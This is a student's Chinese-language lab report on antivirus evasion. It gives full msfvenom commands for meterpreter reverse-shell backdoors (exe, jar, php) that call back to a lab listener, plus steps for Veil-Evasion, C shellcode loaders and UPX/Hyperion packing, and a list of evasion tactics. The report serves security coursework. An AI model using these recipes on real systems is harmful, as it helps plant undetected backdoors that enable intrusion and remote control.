Exp3 免杀原理与实践 20164321 王君陶

Exp3 免杀原理与实践

20164321 王君陶

1实验要求

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分) (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

2实验步骤

检测工具:

https://www.virustotal.com/

http://www.virscan.org/

首先使用VirusTotal或Virscan这两个网站对上次实验生成的后门程序进行扫描。

virustotal

 Exp3 免杀原理与实践 20164321 王君陶

virscan

 Exp3 免杀原理与实践 20164321 王君陶

2.1任务一

2.1.1正确使用msf编码器,生成exe文件

使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

一次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.253.128 LPORT=4321 -f exe > met-encoded.exe

利用之前实验所学,将生成的met-encoded.exe传到windows中的ncat文件中再进行检测。

 Exp3 免杀原理与实践 20164321 王君陶

利用virustotal扫描

 Exp3 免杀原理与实践 20164321 王君陶

十次编码命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.253.128 LPORT=4321 -f exe > met-encoded10.exe

 Exp3 免杀原理与实践 20164321 王君陶

利用virustotal扫描

 Exp3 免杀原理与实践 20164321 王君陶

2.1.2 msfvenom生成jar文件

成java后门程序使用命令: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 x> 4321_backdoor_java.jar

 Exp3 免杀原理与实践 20164321 王君陶

利用virustotal扫描

 Exp3 免杀原理与实践 20164321 王君陶

2.1.3 msfvenom生成php文件

生成php后门程序使用命令: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=4321 x> 4321_backdoor.php

 Exp3 免杀原理与实践 20164321 王君陶

(前一个问题就是lport前面少一个空格导致生成的0kb文件,不能粗心啊!)

利用virustotal扫描

 Exp3 免杀原理与实践 20164321 王君陶

2.1.4 使用veil-evasion生成后门程序及检测

这里安装veil多次失败,没办法,拷了同学的kail直接进行试验。

输入命令veil

 Exp3 免杀原理与实践 20164321 王君陶

输入use evasion命令进入Evil-Evasion

 Exp3 免杀原理与实践 20164321 王君陶

输入命令use c/meterpreter/rev_tcp.py进入配置界面

 Exp3 免杀原理与实践 20164321 王君陶

设置反弹连接IP:set LHOST 192.168.253.128 设置端口:set LPORT 4321

 Exp3 免杀原理与实践 20164321 王君陶

再输入options进行展示修改结果

 Exp3 免杀原理与实践 20164321 王君陶

输入generate生成文件

 Exp3 免杀原理与实践 20164321 王君陶

输入payload的名字:veil_c_4321

 Exp3 免杀原理与实践 20164321 王君陶

按enter继续

 Exp3 免杀原理与实践 20164321 王君陶

利用virustotal扫描

 Exp3 免杀原理与实践 20164321 王君陶

2.1.5 半手工注入Shellcode并执行

首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=4321 -f c用c语言生成一段shellcode

 Exp3 免杀原理与实践 20164321 王君陶

Exp3 免杀原理与实践 20164321 王君陶

把上面的数组拿来编写一个程序,用vi 4321_shellcode.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数

 Exp3 免杀原理与实践 20164321 王君陶

进入编辑器进行编辑

 Exp3 免杀原理与实践 20164321 王君陶

Exp3 免杀原理与实践 20164321 王君陶

再用i686-w64-mingw32-g++ 20164321_shellcode.c -o 20164321_shellcode.exe命令生成可执行文件

 Exp3 免杀原理与实践 20164321 王君陶

利用virustotal扫描

 Exp3 免杀原理与实践 20164321 王君陶

实现与杀软共存

 Exp3 免杀原理与实践 20164321 王君陶

生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。

2.1.6 加壳

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被**)。大多数病毒就是基于此原理。

加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

这种技术也常用来保护软件版权,防止软件被**。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。 MSF的编码器使用类似方法,对shellcode进行再编码。

从技术上分壳分为:

压缩壳

减少应用体积,如ASPack,UPX

加密壳

版权保护,反跟踪。如ASProtect,Armadillo

虚拟机

通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

2.1.6.1 压缩壳UPX

Kali下输入命令upx 20164321_shellcode.exe -o 20164321_shellcode_upxed.exe

 Exp3 免杀原理与实践 20164321 王君陶

扫描结果

 Exp3 免杀原理与实践 20164321 王君陶

2.1.6.2加密壳Hyperion

进入目录/usr/share/windows-binaries/hyperion/中;输入命令wine hyperion.exe -v 20164321_shellcode_upxed.exe 20164321_shellcode_upxed_Hyperion.exe进行加壳

再传出来进行扫描检测

 Exp3 免杀原理与实践 20164321 王君陶

Exp3 免杀原理与实践 20164321 王君陶

Exp3 免杀原理与实践 20164321 王君陶

2.2通过组合应用各种技术实现恶意代码免杀

如任务一中的5与6组合之后,既Shellcode与加壳,组合之后进行反弹连接,并实现了与杀软共存

 Exp3 免杀原理与实践 20164321 王君陶

Exp3 免杀原理与实践 20164321 王君陶

在windows中点击执行

 Exp3 免杀原理与实践 20164321 王君陶

 Exp3 免杀原理与实践 20164321 王君陶

 实现与杀软共存

 Exp3 免杀原理与实践 20164321 王君陶

2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

 Exp3 免杀原理与实践 20164321 王君陶

免杀失败QAQ

3基础问题回答

3.1杀软是如何检测出恶意代码的?

基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

3.2免杀是做什么?

免杀就是让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。

3.3免杀的基本方法有哪些?

改变特征码

如果你手里只有EXE

加壳:压缩壳 加密壳

shellcode(Meterpreter

用encode进行编码 基于payload重新编译生成可执行文件

有源代码

用其他语言进行重写再编译(veil-evasion)

改变行为

通讯方式

尽量使用反弹式连接 使用隧道技术 加密通讯数据

操作模式

基于内存操作 减少对系统的修改 加入混淆作用的正常功能

非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中 使用社工类攻击,诱骗目标关闭AV软件 纯手工打造一个恶意软件

3.4开启杀软能绝对防止电脑中恶意代码吗?

从这次的实验可以看出来,杀软是不能绝对防止电脑中的恶意代码的,比如说在VirusTotal或Virscan这两个网站中测试的时候,就发现有很多杀毒软件无法检测出恶意代码,毕竟道高一尺魔高一丈,随着病毒库的不断更新,恶意代码也在不断通过各种方法来使自己免杀,所以说杀软是不能绝对防止电脑中的恶意代码的。

4实验遇到的问题

在这次实验之中遇到的最大问题就是安装不上veil,刚开始因为坑爹的学校网,下载速度极慢,下载完成之后,解压又出现问题,实在没办法,找张哲键同学直接把他完成实验的虚拟机拷过来了,然后才进行的实验。

5实验心得

这次实验让我的最大体会就是腾讯管家是真的辣鸡啊,windows defender和火绒都可以杀掉的恶意代码,腾讯管家就不行,之前还在自己电脑装上了腾讯管家感觉电脑安全万无一失,实际发现这个做法非常之蠢,不如不装杀软,用windows自带的windows defender呢,赶紧卸载一波!。